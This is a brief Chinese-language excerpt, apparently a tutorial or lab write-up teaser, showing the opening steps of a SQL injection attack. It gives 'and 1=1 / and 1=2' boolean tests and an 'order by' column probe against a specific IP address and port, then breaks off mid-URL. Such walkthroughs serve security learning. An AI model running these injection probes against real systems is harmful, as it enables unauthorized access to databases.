SQL注入 (1)

第一步：測試是否存在注入點，用and語句測試。 http://120.203.13.75:6815/?id=1 and 1=1  http://120.203.13.75:6815/?id=1 and 1=2 一網址可以正常顯示，二網址則無法顯示，所以推斷有注入點。 第二步：猜測字段 http://120.203.13.75:6815/?id=1 order by 2 http://120.203

>>阅读原文<<